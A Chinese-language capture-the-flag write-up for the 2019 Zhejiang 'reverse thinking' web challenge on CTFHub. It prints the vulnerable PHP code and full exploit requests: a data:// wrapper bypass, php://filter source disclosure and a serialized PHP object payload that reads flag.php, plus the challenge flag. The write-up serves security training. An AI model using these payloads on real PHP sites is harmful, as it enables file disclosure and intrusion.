2019-Web-逆转思维 WriteUp

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前言

题目地址

https://www.ctfhub.com/#/challenge

浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维

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进入首页php代码如下

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<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

get请求接收三个参数，第一个if判断成立可以通过data协议

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/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

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第二个if判断不能包含flag字符，因此我们可以先通过php://filter协议获取useless.php文件源码

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?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到base64编码文件如下

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PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解密后获取useless.php源码如下

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<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

对于password的传值，通过构造flag.php的序列化，让password等于flag.php的序列化输出就行。

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<?php  

class Flag{  //flag.php  
    public $file="flag.php";
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$flag = new Flag();
echo serialize($flag);
?>

得到的结果为

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O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终get请求参数为

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?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

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flag为ctfhub{19a6a30e7f1e76f5a60dc63c}